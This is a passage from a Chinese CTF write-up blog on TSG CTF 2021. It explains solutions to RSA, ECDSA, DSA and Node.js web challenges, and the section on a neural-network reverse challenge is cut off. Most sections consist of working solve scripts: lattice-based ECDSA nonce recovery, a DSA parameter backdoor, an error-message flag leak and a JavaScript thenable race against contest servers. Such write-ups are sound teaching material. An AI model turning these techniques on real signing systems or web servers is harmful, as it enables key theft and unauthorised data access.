TSG CTF 2021 WriteUps

發表於 分類於

在 XxTSJxX 參加了 TSG CTF 2021，主要解了 crypto 的題目，web 難到我只有解掉一題...，reverse 也有解一題。

  排行榜截圖

Crypto

Beginner's Crypto 2021

這題是 Kuruwa 解掉的，不過還是紀錄一下解法好了

這題的 RSA 的 很正常，而它有個沒提供出來的 ，符合 都是質數的性質。之後計算:

然後把 flag 分別用 和同個 加密得到 。而這題的 它已經直接告訴你了。

看起來這題的困難點在於怎麼知道 是多少，不然有 也沒用。不過這邊稍微寫個程式可以發現 的唯一可能解是 ，網路上也能找到關於這個的證明。

接下來會發現說 都和 有共同因數，所以沒辦法直接計算出 來。不過這邊用 common modulus attack 解掉即可，計算 使得 ，然後 即可。

這個題目其實它就算只給你 也能解，一樣就 common modulus attack 而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import long_to_bytes

p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837

phi = (p - 1) * (q - 1)


e = 3

e1 = e ^ 0x10001
e2 = (e + 2) ^ 0x10001
g, a, b = xgcd(e1, e2)
Z = Zmod(p * q)
m = Z(c1) ^ a * Z(c2) ^ b
print(long_to_bytes(m))

# https://math.stackexchange.com/questions/1653536/show-that-we-cannot-have-a-prime-triplet-of-the-form-p-p-2-p-4-for
# there is no p > 3 that p, p + 2 p + 4 are primes

Minimalist's Private

這題一樣是 RSA，不過它有說有個 符合 和 。從這兩個式子我們可以合理推論 。

既然 ，這代表 和 肯定要有很大的共同因數，即 。

所以可以寫出 ，因為 都不大所以可以直接暴力找，然後解二次式 的整數根即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from sage.all import *
from Crypto.Util.number import *


def solve(a, b, c):
    D = b * b - 4 * a * c
    if is_square(D):
        x1 = (-b + int(sqrt(D))) // (2 * a)
        x2 = (-b - int(sqrt(D))) // (2 * a)
        return x1, x2


n = 1108103848370322618250236235096737547381026108763302516499816051432801216813681568375319595638932562835292256776016949573972732881586209527824393027428125964599378845347154409633878436868422905300799413838645686430352484534761305185938956589612889463246508935994301443576781452904666072122465831585156151
e = 65537
c = 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426

for a in range(1, 1000):
    for b in range(a, 1000):
        r = solve(a * b, a + b, 1 - n)
        if r:
            r = r[0]
            p = a * r + 1
            q = b * r + 1
            assert p * q == n
            phi = (p - 1) * (q - 1)
            d = inverse_mod(e, phi)
            m = power_mod(c, d, n)
            print(long_to_bytes(m))

Baba is Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
require 'openssl'
require 'digest'

STDOUT.sync = true

class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end

class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end

  def inv(x)
    x.pow(@n - 2, @n)
  end

  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    x, y = (@G * k).xy

    # We all like hacks, ain't we?
    # s = (z + x * @d) * inv(k) % @n
    s = (z + @d) * inv(k) % @n

    return x, s
  end

  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex

    # ditto
    # x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy
    x2, y2 = (@G * (z * inv(s)) + @Q * inv(s)).xy

    return x == x2
  end
end

ecdsa = ECDSA.new

5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS

  print 'choice? '

  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i

    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end

puts 'You is defeat.'

這題是個類似 ECDSA 的題目，允許你多次 sign 一個固定寫死的 message，sign 的時候取 作為 ，然後計算 ，以 作為 signature，其中 為 hash。

驗證的方法是比較 是否和 相同，其中 是 public key。

一個簡單的解法是先改寫為 ，然後注意到設 的時候 直接取 的 座標即可。 的話因為 都知道所以很容易算出來:

With Lattice

不過這題我並不是用這個方法解的，反而是用了一個複雜很多的 Lattice Attack，不過這個的好處是它只要小小修改一下就能用在下一題的 Flag is Win 上面。

注意到它的 是用這行 Ruby 程式碼生成的:

1
k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex

其中 @curve.degree 是指 的 bits 數量，所以它先生成一個 85 bits 的數字，然後轉換成字串。之後把字串以 big endian 的形式去解讀得到一個 200 多 bits 的 。它大致上等價於下面的 Python:

1
int.from_bytes(str(secrets.randbits(256 // 3)).encode(), 'big')

雖然這樣已經很明顯的告訴的我們解法和 Lattice 有關，只是因為它的這個處裡還是讓 k 有 200 多 bits，而它又只允許你 sign 最多 4 個 signature 而已。很重要的關鍵在於 85 bits 的未知值並不會因為它那個做法而讓未知的 bits 變多。

因為 ASCII 中的 0 到 9 都是 0011xxxx 的緣故，可以注意到 的 binary representation 都是這個形式的:

1
0011xxxx0011xxxx0011xxxx0011xxxx0011xxxx0011xxxx......0011xxxx

所以 可以表示為:

再來是 ，所以 有組夠小的 roots 是 和 的 的組合，其中 。

這邊我參考了這篇的 Lattice 構造法去找出那些 roots。

因為 ，所以:

之中會有 在裡面，所以直接 LLL 應該能找到。

不過經過測試，這樣還是找不太到我們想要的 ，所以要針對它做點小改進。因為 ，所以如果設 為平移過的多項式 的根就比較容易找到了。

拿平移過後的 去 LLL 之後發現有一定機率能正確的找出我們想要的根，所以這樣就足夠讓我們把需要的 還原回來然後求出 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import process, remote, context
from hashlib import sha256
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0
b = 7
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

E = EllipticCurve(GF(p), [a, b])
G = E(
    0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
    0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)

# context.log_level = "debug"
# io = process(["ruby", "baba_is_flag.rb"], env={"FLAG": "test_flag"})
io = remote("34.146.212.53", 65434)


def sign():
    io.sendlineafter(b"choice? ", b"1")
    if io.recvuntil(b"k0 = ", timeout=1):
        kk = int(io.recvlineS().strip())
    if io.recvuntil(b"k = ", timeout=1):
        k = int(io.recvlineS().strip())
    io.recvuntil(b"x = ")
    r = int(io.recvlineS().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvlineS().strip())
    h = int(sha256(b"baba").hexdigest(), 16)
    return h, r, s
    # return h, r, s, k, kk


# h1, r1, s1, k1, kk1 = sign()
# h2, r2, s2, k2, kk2 = sign()
h1, r1, s1 = sign()
h2, r2, s2 = sign()
a = int("00110000" * 26, 2)

# print(f"{k1 = }")
# print(f"{k2 = }")
# print(f"{kk1 = }")
# print(f"{kk2 = }")


# def chunks(kk):
#     return list(map(int, str(kk)[::-1]))
#     ar = list(map(int, str(kk)))
#     ret = []
#     for a, b in list(zip(*[iter(ar)] * 2))[::-1]:
#         ret.append(a * 256 + b)
#     return ret


# kk1v = chunks(kk1)
# kk2v = chunks(kk2)

P = PolynomialRing(Zmod(n), [f"b{j+1}_{i}" for j in range(2) for i in range(26)])
b1 = P.gens()[:26]
b2 = P.gens()[26:]
k1 = a + sum(b * 256 ** i for i, b in enumerate(b1))
k2 = a + sum(b * 256 ** i for i, b in enumerate(b2))
f = s1 * k1 - s2 * k2
# print(f(kk1v + kk2v))
# since roots are in 0~9, shifting it make it more easier to find the roots
ff = f.subs({b: b + 5 for b in b1 + b2})
# print(ff(*[x - 5 for x in kk1v + kk2v]))
M = matrix.column(ZZ, vector([ZZ(c) for c, _ in ff]))
M = M.augment(matrix.identity(53))
M = M.stack(vector([n] + [0] * 53))
M = M.dense_matrix()
row0 = M.LLL()[0]
roots = [x + 5 for x in row0[1:-1]]
assert f(*roots) == 0  # try again if failed
k1 = k1(roots)
k2 = k2(roots)
print(f"found {k1 = }")
print(f"found {k2 = }")
z = int(sha256(b"Baba").hexdigest(), 16)
d = ZZ((s1 * k1 - z) % n)
assert d == (s2 * k2 - z) % n

# signing
z = int(sha256(b"Flag").hexdigest(), 16)
k = 48763
s = ((z + d) / k) % n
x = (k * G).xy()[0]
io.sendlineafter(b"choice? ", b"2")
io.sendlineafter(b"Which rule do you want to know? ", b"Flag")
io.sendlineafter(b"x? ", str(x).encode())
io.sendlineafter(b"s? ", str(s).encode())
io.interactive()

sign 之中的 k 和 kk 是我自己在 local debug 用的，把 Ruby 那邊改成會 print 出原本的 kk 和 unpack 過的 k 來方便 debug。

Flag is Win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
require 'openssl'
require 'digest'

STDOUT.sync = true

class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end

class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end

  def inv(x)
    x.pow(@n - 2, @n)
  end

  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k0 = OpenSSL::BN.rand(@curve.degree / 3)
    # k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    k = k0.to_s.unpack1('H*').hex
    puts "k0 = #{k0}"
    puts "k = #{k}"
    x, y = (@G * k).xy

    # We should discourage every evil hacks
    s = (z + x * @d) * inv(k) % @n

    return x, s
  end

  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex

    # ditto
    x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy

    return x == x2
  end
end

ecdsa = ECDSA.new

5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS

  print 'choice? '

  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i

    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end

puts 'You is defeat.'

這題就是真的 ECDSA，而 nonce 的生成方式和前面完全一樣。

首先有:

自己手動或是用 resultant 可以把 消掉得到 的一個多項式，之後一樣把 以 表達出來，套用一樣的 Lattice 之後一樣有一定機率能求出 roots，然後還原 和 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import process, remote, context
from hashlib import sha256
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0
b = 7
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

E = EllipticCurve(GF(p), [a, b])
G = E(
    0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
    0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)

# context.log_level = "debug"
# io = process(["ruby", "flag_is_win.rb"], env={"FLAG": "test_flag"})
io = remote("34.146.212.53", 35719)


def sign():
    io.sendlineafter(b"choice? ", b"1")
    if io.recvuntil(b"k0 = ", timeout=1):
        kk = int(io.recvlineS().strip())
    if io.recvuntil(b"k = ", timeout=1):
        k = int(io.recvlineS().strip())
    io.recvuntil(b"x = ")
    r = int(io.recvlineS().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvlineS().strip())
    h = int(sha256(b"baba").hexdigest(), 16)
    return h, r, s
    # return h, r, s, k, kk


# h1, r1, s1, k1, kk1 = sign()
# h2, r2, s2, k2, kk2 = sign()
h1, r1, s1 = sign()
h2, r2, s2 = sign()
a = int("00110000" * 26, 2)
z = int(sha256(b"Baba").hexdigest(), 16)

# print(f"{k1 = }")
# print(f"{k2 = }")
# print(f"{kk1 = }")
# print(f"{kk2 = }")


# def chunks(kk):
#     return list(map(int, str(kk)[::-1]))


# kk1v = chunks(kk1)
# kk2v = chunks(kk2)

P = PolynomialRing(
    Zmod(n), [f"b{j+1}_{i}" for j in range(2) for i in range(26)] + ["d"]
)
b1 = P.gens()[:26]
b2 = P.gens()[26:-1]
d = P.gens()[-1]
k1 = a + sum(b * 256 ** i for i, b in enumerate(b1))
k2 = a + sum(b * 256 ** i for i, b in enumerate(b2))
f1 = s1 * k1 - (z + r1 * d)
f2 = s2 * k2 - (z + r2 * d)

PP = P.remove_var(d)
b1 = PP.gens()[:26]
b2 = PP.gens()[26:]
f = PP(str(resultant(f1, f2, d)))
# print(f(kk1v + kk2v))
# since roots are in 0~9, shifting it make it more easier to find the roots
ff = f.subs({b: b + 5 for b in b1 + b2})
# print(ff(*[x - 5 for x in kk1v + kk2v]))

M = matrix.column(ZZ, vector([ZZ(c) for c, _ in ff]))
M = M.augment(matrix.identity(53))
M = M.stack(vector([n] + [0] * 53))
M = M.dense_matrix()
row0 = M.LLL()[0]
roots = [x + 5 for x in row0[1:-1]]
assert f(*roots) == 0  # try again if failed
k1 = PP(str(k1))(roots)
k2 = PP(str(k2))(roots)
print(f"found {k1 = }")
print(f"found {k2 = }")
d = ZZ(((s1 * k1 - z) / r1) % n)
assert d == ((s2 * k2 - z) / r2) % n

# signing
z = int(sha256(b"Flag").hexdigest(), 16)
k = 48763
r = ZZ((k * G).xy()[0])
s = ((z + r * d) / k) % n
io.sendlineafter(b"choice? ", b"2")
io.sendlineafter(b"Which rule do you want to know? ", b"Flag")
io.sendlineafter(b"x? ", str(r).encode())
io.sendlineafter(b"s? ", str(s).encode())
io.interactive()

This is DSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# See also https://github.com/tsg-ut/pycryptodome
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Util.number import getPrime
from Crypto.Random.random import randrange
from base64 import b64decode
from signal import alarm
import os

alarm(15)

q = getPrime(256)
print(f'q = {q}')

p = int(input('p? '))
h = int(input('h? '))

g = pow(h, (p - 1) // q, p)
x = randrange(q)
y = pow(g, x, p)

print(f'g = {g}')
print(f'y = {y}')

dsa = DSA.construct((y, g, p, q, x))
dss = DSS.new(dsa, 'fips-186-3')

print('Thank you for helping me with DSA! Now give me the base64-encoded signature of sha256("flag")')
sign = b64decode(input('sign? '))

dss.verify(SHA256.new(b'flag'), sign)
print(f"Awesome! {os.environ.get('FLAG')}")

這題除了上面的 challenge file，它還有把 pycryptodome 的 DSA 部分給微調過:

1
2
3
4
5
6
7
8
9
10
if consistency_check:
    # P and Q must be prime
    fmt_error = test_probable_prime(key.p) == COMPOSITE
    fmt_error = test_probable_prime(key.q) == COMPOSITE
    # Verify Lagrange's theorem for sub-group
    fmt_error |= ((key.p - 1) % key.q) != 0  # Removed
    fmt_error |= key.g <= 1 or key.g >= key.p
    fmt_error |= pow(key.g, key.q, key.p) != 1
    # Public key
    fmt_error |= key.y <= 0 or key.y >= key.p

題目會生成一個 ，然後你可以生成一個 DSA 的 和 ，之後 server 端給你 public key 之後要想辦法算出 discrete log，最後 sign 一個指定的 message 才能拿到 flag。

它移除掉的檢查是 ，但是它還是有 存在，由於 是質數，根據 Lagrange's theorem 我們知道 是必然的，所以它那個檢查移除掉似乎也沒差...?

題目關鍵在於這兩行:

1
2
fmt_error = test_probable_prime(key.p) == COMPOSITE
fmt_error = test_probable_prime(key.q) == COMPOSITE

它會直接用 的 primality 把 的 primality 檢查結果蓋掉，所以這代表 可以是合數。

所以一個簡單的想法是取 用類似 Paillier cryptosystem 的方法用二項式做 discrete log，然後也可以取 得到符合 的 。

是一個隨機數

不過測試一下就會發現在 DSS.new(dsa, 'fips-186-3') 的地方有錯誤，裡面可以找到它要求 的 bits size 需要是 (2048, 256) 才行。所以 自然過不去。

我的作法是取 ，而 。這樣取 一樣能通過 prime subgroup 的 test。而算 的時候也只要把它轉到 即可繼續用 Paillier 的作法了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from base64 import b64encode
from pwn import process, remote


def backdoor(q):
    def getP(bits):
        p = q * q
        phi = q * (q - 1)
        while p.bit_length() != bits:
            p *= 2
            phi *= 2
        return p, phi // 2

    p, phip = getP(2048)
    assert pow(3, phip + 1, p) == 3
    g = pow(3, phip // q, p)
    assert pow(g, q, p) == 1
    h = g
    assert pow(pow(h, (p - 1) // q, p), q, p) == 1
    return p, phip, h


# io = process(["python", "server.py"], env={"FLAG": "test_flag"})
io = remote("34.146.212.53", 61234)
io.recvuntil(b"q = ")
q = int(io.recvlineS().strip())

print(f"{q = }")

p, phip, h = backdoor(q)
print(f"{p = }")
print(f"{h = }")
io.sendlineafter(b"p? ", str(p).encode())
io.sendlineafter(b"h? ", str(h).encode())

io.recvuntil(b"g = ")
g = int(io.recvlineS().strip())
io.recvuntil(b"y = ")
y = int(io.recvlineS().strip())

print(f"{g = }")
print(f"{y = }")

a = (g - 1) // q
b = (y - 1) // q
x = (pow(a, -1, q) * b) % (q * q)
assert pow(g, x, p) == y
dsa = DSA.construct((y, g, p, q, x), consistency_check=False)
dss = DSS.new(dsa, "fips-186-3")
sig = dss.sign(SHA256.new(b"flag"))
io.sendlineafter(b"sign? ", b64encode(sig))
print(io.recvlineS().strip())

補充一下關於 discrete log 部份的推導:

所以 ，然後在 的情況用二項式定理可以得到:

所以

因為它最初的 ，所以這樣確實能取得我們想要的 。

其實這題要取 應該也是可以，我之所以不這麼做是因為 不一定剛好是 2048 bits。這邊有兩篇 writeups 都是用 做的可以參考看看: rkm0959 joseph

Web

Welcome to TSG CTF!

這題是個用 node.js fastify 寫的 server，主要部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const {promises: fs} = require('fs');
const fastify = require('fastify');

const flag = process.env.FLAG || 'DUMMY{DUMMY}';

const app = fastify();
app.get('/', async (_, res) => {
	res.type('text/html').send(await fs.readFile('index.html'));
});
app.post('/', (req, res) => {
	if (typeof req.body === 'object' && req.body[flag] === true) {
		return res.send(`Nice! flag is ${flag}`);
	}
	return res.send(`You failed...`);
});

app.listen(34705, '0.0.0.0');

目標是要想辦法 post 適當的 body，然後讓它讀取 req.body[flag] === true 之後就會得到 flag，但是正常之下這個似乎是做不到的樣子。

關鍵在於 javascript 中的 null 其實也是 object (typeof null === 'object')，而 fastify 在遇到錯誤的時候預設就會噴錯誤訊息出來。所以嘗試從 null 上面讀一個 property 的時候，property 名稱就會出現在錯誤訊息中，所以就拿到 flag 了。

1
curl 'http://34.84.69.72:34705/' -H 'Content-Type: application/json' --data 'null'

Beginner's Web 2021

賽中我沒能解出這題，後來看到解法之後研究了一下覺得這個很值得紀錄下來。

這題雖說是 Beginner 的 challenge，但是到最後總共只有一隊解出來...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const {promises: fs} = require('fs');
const crypto = require('crypto');
const fastify = require('fastify');

const app = fastify();
app.register(require('fastify-cookie'));
app.register(require('fastify-session'), {
	secret: Math.random().toString(2),
	cookie: {secure: false},
});

const sessions = new Map();

const setRoutes = async (session, salt) => {
	const index = await fs.readFile('index.html');

	session.routes = {
		flag: () => '*** CENSORED ***',
		index: () => index.toString(),
		scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
		base64: (input) => Buffer.from(input).toString('base64'),
		set_salt: async (salt) => {
			session.routes = await setRoutes(session, salt);
			session.salt = salt;
			return 'ok';
		},
		[salt]: () => salt,
	};

	return session.routes;
};

app.get('/', async (request, reply) => {
	if (!sessions.has(request.session.sessionId)) {
		sessions.set(request.session.sessionId, {});
	}

	const session = sessions.get(request.session.sessionId);

	if (!session.salt) {
		session.salt = '';
	}
	if (!session.routes) {
		await setRoutes(session, '');
	}

	const {action, data} = request.query || {};

	let route;
	switch (action) {
		case 'Scrypt': route = 'scrypt'; break;
		case 'Base64': route = 'base64'; break;
		case 'SetSalt': route = 'set_salt'; break;
		case 'GetSalt': route = session.salt; break;
		default: route = 'index'; break;
	}

	reply.type('text/html')
	return session.routes[route](data);
});

app.listen(59101, '0.0.0.0');

可以看到是一個 node.js fastify 的 server，它可以根據 action 和 data 兩個參數去呼叫既有的 session.routes 之中的一些函數，目標是要想辦法呼叫到 flag。

第一個想法會是先用 set_salt("flag") 設定 salt 為 flag，然後 GetSalt 的時候應該就能呼叫到 session.routes["flag"] 了。雖然它確實能呼叫到 flag，但是結果並不會是你想的那樣，因為在 setRoutes 函數中有 [salt]: () => salt，當 salt === "flag" 的時候就會把原本的 flag 函數給蓋掉。

一個可能會有的方向是 race condition，先 set_salt("flag")，然後呼叫 GetSalt 的同時呼叫 set_salt("peko")，如果在 case 'GetSalt': route = session.salt; break; 執行到 return session.routes[route](data); 這行的期間可以把原本的 flag 函數恢復的話就能拿到 flag 了。

可以在那其中加入一個 await sleep(1000)，然後這個 race condition 也真的有辦法利用。不過在原題中是做不到的，至少就我對 node.js 的理解，在那一段的執行過程中 node.js 的 event loop 並不會 context switch 到其他的地方去，對於 single threaded 的 server 來說也是一定要等那段執行完之後才能 handle 其他的 request。

官方的解法大致可表示如下:

1
2
3
4
await set_salt("flag")
set_salt("then")  // don't wait, it will block
await sleep(100)  // not needed, just don't make it too fast when testing locally
await get_salt()  // this prints the flag

第一個 set_salt("flag") 很好理解，不過關鍵是 set_salt("then") 這個地方。要理解它為什麼可以這樣做之前可以先複習一下 javascript 中的 async/await 究竟是怎麼回事。

在 node repl 中會有這個現象:

1
2
3
4
5
> let ccb;let o={then:cb=>{ccb=cb;console.log('then called')}}
undefined
> setTimeout(()=>ccb(87),1000);await o
then called
87

這是因為當你 await 一個 object 的時候，如果 obj.then 是個函數，它就會試著呼叫 obj.then(cb) 然後 block 在那個地方。當 cb 被呼叫的時候所傳入的那個參數就是 await obj 的回傳值。

當你從一個 async 函數中 return 一個物件的時候，return obj 其實和 return await obj 是差不多的，所以如果你回傳的物件上有 obj.then 這個函數，它一樣會被呼叫到:

1
2
3
4
5
6
7
8
9
10
11
> let ccb;let o={then:cb=>{ccb=cb;console.log('then called')}}
undefined
> setTimeout(()=>ccb(87),1000);(async ()=>o)().then(console.log)
Promise {
  <pending>,
  [Symbol(async_id_symbol)]: 120,
  [Symbol(trigger_async_id_symbol)]: 119,
  [Symbol(destroyed)]: { destroyed: false }
}
> then called
87

現在回去看看 set_salt("then") 裡面，它會呼叫 await setRoutes(session, salt)，然後把 session.routes 用這樣的方式覆蓋之後回傳:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
session.routes = {
	flag: () => '*** CENSORED ***',
	index: () => index.toString(),
	scrypt: (input) => crypto.scryptSync(input, salt, 64).toString('hex'),
	base64: (input) => Buffer.from(input).toString('base64'),
	set_salt: async (salt) => {
		session.routes = await setRoutes(session, salt);
		session.salt = salt;
		return 'ok';
	},
	[salt]: () => salt,  // salt === 'then'
};

return session.routes;

注意到了嗎? 回傳的 session.routes 上面有個 then 函數在，而 setRoutes 自己又是個 async，所以它會呼叫 (() => salt)(cb)。但是這個 cb 就永遠不會被呼叫到，代表 await 就會一直卡在那邊。

此時，原先的 session.salt = salt; 因為被卡著，所以不會被改回去，但是 session.routes.flag 卻已經恢復成原來的函數了，所以此時只要再呼叫 GetSalt 就能拿到 flag 了。那個 sleep 其實非必要，只是因為有時在本機測試的時候太快可能會出問題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
const xf = require('xfetch-js')

let client = xf.extend({
	// baseURI: 'http://localhost:59101/'
	baseURI: 'http://34.84.69.72:59101/'
})
;(async () => {
	const sc = (await client.get('/')).headers.get('set-cookie')
	const sessionId = sc.split('=')[1].split(';')[0]
	client = client.extend({
		headers: {
			Cookie: `sessionId=${sessionId}`
		}
	})
	await client.get('/', {
		qs: {
			action: 'SetSalt',
			data: 'flag'
		}
	})
	client.get('/', {
		qs: {
			action: 'SetSalt',
			data: 'then'
		}
	}) // this one will stuck
	await new Promise(res => setTimeout(res, 100)) // not needed, just don't make it too fast when testing locally
	console.log(
		await client
			.get('/', {
				qs: {
					action: 'GetSalt'
				}
			})
			.text()
	)
	process.exit(0)
})()

// TSGCTF{You_pR0ved_tHaT_you_knOW_tHe_6451C5_of_JavAsCriP7!_G0_4Nd_s0LvE_Mor3_wE6!}

Reverse

Natural Flag Processing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
